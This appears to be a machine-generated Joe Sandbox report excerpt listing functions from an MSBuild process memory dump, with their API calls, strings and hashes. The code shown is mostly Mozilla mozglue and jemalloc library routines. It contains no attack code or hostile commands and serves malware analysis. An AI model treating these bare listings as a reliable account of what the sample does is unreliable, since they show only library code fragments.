Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: a8dffb0db1812c20d44b52f47f6a1f0d5b85acba536c04b6ebdde1b61b281c3f
Instruction ID: 644be198f5b15746571d7bcffc797caf6671134e00c3c41ca01fd4ff34acaa9c
Opcode Fuzzy Hash: a8dffb0db1812c20d44b52f47f6a1f0d5b85acba536c04b6ebdde1b61b281c3f
Instruction Fuzzy Hash: A7314FB1A047458FDB41BF78D64826EBBF4BF89309F014A2DE98597211EB709848CF92

Function 6C379620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C379675
__Init_thread_footer.LIBCMT ref: 6C379697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C3796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C379707
__Init_thread_footer.LIBCMT ref: 6C37971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C379773

Part of subcall function 6C39AB89: EnterCriticalSection.KERNEL32(6C3EE370,?,?,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284), ref: 6C39AB94
Part of subcall function 6C39AB89: LeaveCriticalSection.KERNEL32(6C3EE370,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C39ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C3797B7
FreeLibrary.KERNEL32 ref: 6C3797D0
FreeLibrary.KERNEL32 ref: 6C3797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C379824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C379670
MapViewOfFileNuma2, xrefs: 6C3797B1
NtMapViewOfSection, xrefs: 6C379701
ntdll.dll, xrefs: 6C3796E3

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 65c5869ceb045c35b84b54e78d415301f9106f8ae414efef77a13d75d5058d3e
Instruction ID: edfdd1e4e2abf21972a6a2be0c423956be0938b60acded9af07a820b484b3551
Opcode Fuzzy Hash: 65c5869ceb045c35b84b54e78d415301f9106f8ae414efef77a13d75d5058d3e
Instruction Fuzzy Hash: FF41D5707003059BDF20DFA6F884A9677B8EB8E368F00462AED1597740E774E804CFA1

Function 6C3B0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3B0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3B0041
GetCurrentThreadId.KERNEL32 ref: 6C3B0075
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3B0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C3B0090
free.MOZGLUE(?), ref: 6C3B0104
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3B011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C3B005B

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 514684f2f83c704013564ff066e8fc50c653d76a0b96615d60185e31d5a4286c
Instruction ID: 343877c6779a6e954e45d32c1ffd7df536a0aaaf07c6f664a8fd806fca057313
Opcode Fuzzy Hash: 514684f2f83c704013564ff066e8fc50c653d76a0b96615d60185e31d5a4286c
Instruction Fuzzy Hash: 6B419BB5500344DFCB61CF64D840A9ABBF4FF9D318F00491AE99A97B40D732A815CFA2

Function 6C377E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C377EA7
malloc.MOZGLUE(00000001), ref: 6C377EB3

Part of subcall function 6C37CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C37CB49
Part of subcall function 6C37CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C37CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C377EC4
mozalloc_abort.MOZGLUE(?), ref: 6C377F19
malloc.MOZGLUE(?), ref: 6C377F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C377F4D

Strings

d, xrefs: 6C377F89

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 571781437565c0dca55da5d73861d27152b5ff3a1d584ffbd5e89eeb73aa8a88
Instruction ID: 92d41075d7d23a9c940c6655d73461d40f20a94fbdf0e5408bb745e897200c97
Opcode Fuzzy Hash: 571781437565c0dca55da5d73861d27152b5ff3a1d584ffbd5e89eeb73aa8a88
Instruction Fuzzy Hash: 11311861E0034897DF119B68DC049FEB77CEF96208F045629DC8997612FB31F588CBA1

Function 6C373E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C373EEE
RtlFreeHeap.NTDLL ref: 6C373FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C374006
RtlFreeHeap.NTDLL ref: 6C3740A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C373CCC), ref: 6C3740AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C373CCC), ref: 6C3740C2
RtlFreeHeap.NTDLL ref: 6C374134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C373CCC), ref: 6C374143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C373CCC), ref: 6C374157

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: fb62db5afd471ba1b53deb5fa94f10b7bc3f87f03054e1e19d3f909757018807
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: D6A18FB2A00215CFDB50CF68C880699B7F5FF48318F254199D909AF742D776E886CFA4

Function 6C362030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C383F47,?,?,?,6C383F47,6C381A70,?), ref: 6C36207F
memset.VCRUNTIME140(?,000000E5,6C383F47,?,6C383F47,6C381A70,?), ref: 6C3620DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C383F47,6C381A70,?), ref: 6C36211A
EnterCriticalSection.KERNEL32(6C3EE744,?,6C383F47,6C381A70,?), ref: 6C362145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C383F47,6C381A70,?), ref: 6C3621BA
EnterCriticalSection.KERNEL32(6C3EE744,?,6C383F47,6C381A70,?), ref: 6C3621E0
LeaveCriticalSection.KERNEL32(6C3EE744,?,6C383F47,6C381A70,?), ref: 6C362232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C362253, 6C362268
MOZ_CRASH(), xrefs: 6C36227D

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: fbffc48262d8765b10a0e2b32ef5e24eb563d608a718110a92be1db962068818
Instruction ID: 9e51b87ecde0d6ddde80308548d49abd91cad5662d520c930a2ceac15c50d8b7
Opcode Fuzzy Hash: fbffc48262d8765b10a0e2b32ef5e24eb563d608a718110a92be1db962068818
Instruction Fuzzy Hash: B5610732F002168FCB14CB6ACA8876E77B5AF89318F164136E564A7F88D7729800CFD1

Function 6C3B9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C3B8273), ref: 6C3B9D65
free.MOZGLUE(6C3B8273,?), ref: 6C3B9D7C
free.MOZGLUE(?,?), ref: 6C3B9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C3B9E0F
free.MOZGLUE(6C3B946B,?,?), ref: 6C3B9E24
free.MOZGLUE(?,?,?), ref: 6C3B9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C3B9EC8
free.MOZGLUE(6C3B946B,?,?,?), ref: 6C3B9EDF
free.MOZGLUE(?,?,?,?), ref: 6C3B9EF5

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 04e6b50fbed62c91008ab543cfe45f5d03b3a9f1753328bb74207e051ef8d668
Instruction ID: d92878410d3e9fd472449ee9533f8d12ae8adca133f42eb5a345887e0d7c41a5
Opcode Fuzzy Hash: 04e6b50fbed62c91008ab543cfe45f5d03b3a9f1753328bb74207e051ef8d668
Instruction Fuzzy Hash: 65718D7090AB418BD712CF19C48059AF3F4FFA9315B44961DE89A6BB01EB31F885CF91

Function 6C3BDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C3BDDCF

Part of subcall function 6C39FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C39FA4B

Part of subcall function 6C3B90E0: free.MOZGLUE(?,00000000,?,?,6C3BDEDB), ref: 6C3B90FF
Part of subcall function 6C3B90E0: free.MOZGLUE(?,00000000,?,?,6C3BDEDB), ref: 6C3B9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3BDE0D
free.MOZGLUE(00000000), ref: 6C3BDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3BDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3BDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3BDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C3ADEFD,?,6C374A68), ref: 6C3BDF32

Part of subcall function 6C3BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C3BDB86
Part of subcall function 6C3BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C3BDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C3ADEFD,?,6C374A68), ref: 6C3BDF65
free.MOZGLUE(?), ref: 6C3BDF80

Part of subcall function 6C385E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C385EDB
Part of subcall function 6C385E90: memset.VCRUNTIME140(ew<l,000000E5,?), ref: 6C385F27
Part of subcall function 6C385E90: LeaveCriticalSection.KERNEL32(?), ref: 6C385FB2

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f411f1e26cc83a2077513bb0f4f9b34474597e17711ef6e59f4cb9d78d0a21f6
Instruction ID: bc0027482269e2fdda5a9f99a5e80fe17bc90b6d455311693f19522e069206eb
Opcode Fuzzy Hash: f411f1e26cc83a2077513bb0f4f9b34474597e17711ef6e59f4cb9d78d0a21f6
Instruction Fuzzy Hash: B251A3766057009BD7219B28D8806EEB3B6AFB5308F95011DE85A73F04D732F919CF92

Function 6C3C5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C3C5C8C,?,6C39E829), ref: 6C3C5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C3C5C8C,?,6C39E829), ref: 6C3C5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C3C5C8C,?,6C39E829), ref: 6C3C5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C3C5C8C,?,6C39E829), ref: 6C3C5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C3C5C8C,?,6C39E829), ref: 6C3C5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C3C5C8C,?,6C39E829), ref: 6C3C5DC9
std::_Facet_Register.LIBCPMT ref: 6C3C5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C3C5C8C,?,6C39E829), ref: 6C3C5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C3C5C8C,?,6C39E829), ref: 6C3C5E45

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 931a1c2eee16cb6ea3f7ac8c7df3f4629c6c1024a6d5285573fe904b2c028816
Instruction ID: b1d45977e10a30fd8fbdc32fdb4e8cfd21dd96483acdbc1120977126f0ad6430
Opcode Fuzzy Hash: 931a1c2eee16cb6ea3f7ac8c7df3f4629c6c1024a6d5285573fe904b2c028816
Instruction Fuzzy Hash: 76416E307003058FCB10DF69C898AAE77B9EF89318F144069E5069B791EB35EC05CF62

Function 6C39CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C3631A7), ref: 6C39CDDD

Strings

<jemalloc>, xrefs: 6C39CF9F, 6C39CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C39CFA4, 6C39CFB8

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 7c2799c82339e0081fc8035bb5e950cd4ff4ea9c3cd227cc2ced694c7ba9acb1
Instruction ID: 2018968d0ed61f14d9904e9357c49887b62210b2964eb5cdd28ff4a9179eacfe
Opcode Fuzzy Hash: 7c2799c82339e0081fc8035bb5e950cd4ff4ea9c3cd227cc2ced694c7ba9acb1
Instruction Fuzzy Hash: 0C31F430B403165BEF10AFA59C45BAE7B79AB49709F204016F612ABA80EB71D8008FA5

Function 6C36ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C36F100: LoadLibraryW.KERNEL32(shell32,?,6C3DD020), ref: 6C36F122
Part of subcall function 6C36F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C36F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C36ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C36EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C36EDCC
CreateFileW.KERNEL32 ref: 6C36EE08
free.MOZGLUE(00000000), ref: 6C36EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C36EE32

Part of subcall function 6C36EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C36EBB5
Part of subcall function 6C36EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C39D7F3), ref: 6C36EBC3
Part of subcall function 6C36EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C39D7F3), ref: 6C36EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C36EDC1

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: fabdf81427158cae32df71e0e32040bfa6bf26d04192d44ad1a7704f7b6e4ceb
Instruction ID: 7d49d5611376db9fe2113d5ba0e42eb04acbfcbfe7f0d09e7cd888adadcc0a0a
Opcode Fuzzy Hash: fabdf81427158cae32df71e0e32040bfa6bf26d04192d44ad1a7704f7b6e4ceb
Instruction Fuzzy Hash: 6E51AC71D053048BDB10DF6ADC407EEB7B4AF49318F44852DE8956BB84E735A988CFA2

Function 6C3DA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C3DA565

Part of subcall function 6C3DA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3DA4BE
Part of subcall function 6C3DA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C3DA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C3DA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C3DA6B6

Strings

z, xrefs: 6C3DA6AE
0, xrefs: 6C3DA5FB

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: e9facbcda003d84c4443cad8f8b59a408eef442d6f31b75544da0de3d2e3d32c
Instruction ID: 98d3302e2e3fe99b034e4858830d63c5e5fbd5ea0fc4c291a48e5f6c75901bcf
Opcode Fuzzy Hash: e9facbcda003d84c4443cad8f8b59a408eef442d6f31b75544da0de3d2e3d32c
Instruction Fuzzy Hash: EF4118719197459FC341DF28C080A8ABBE5BF89354F418A2EF4998B650E730E649CF93

Function 6C3678C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C3E008B), ref: 6C367B89
free.MOZGLUE(?,6C3E008B), ref: 6C367BAC

Part of subcall function 6C3678C0: free.MOZGLUE(?,6C3E008B), ref: 6C367BCF

free.MOZGLUE(?,6C3E008B), ref: 6C367BF2

Part of subcall function 6C385E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C385EDB
Part of subcall function 6C385E90: memset.VCRUNTIME140(ew<l,000000E5,?), ref: 6C385F27
Part of subcall function 6C385E90: LeaveCriticalSection.KERNEL32(?), ref: 6C385FB2

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 143f6750fedc34f34678f7d7b05dcbdd51e80213450a1e36acfeb9dfe4f02421
Instruction ID: ee61d5a5f0e7140b1a8387517763f02d6d8a0f2d1aacad370429ca957240d942
Opcode Fuzzy Hash: 143f6750fedc34f34678f7d7b05dcbdd51e80213450a1e36acfeb9dfe4f02421
Instruction Fuzzy Hash: 24C1C671E011288BEB24CB29CC94BDDB772AF42318F5507A9D41AA7FC8D7319E858F52

Function 6C3A9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C39AB89: EnterCriticalSection.KERNEL32(6C3EE370,?,?,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284), ref: 6C39AB94
Part of subcall function 6C39AB89: LeaveCriticalSection.KERNEL32(6C3EE370,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C39ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
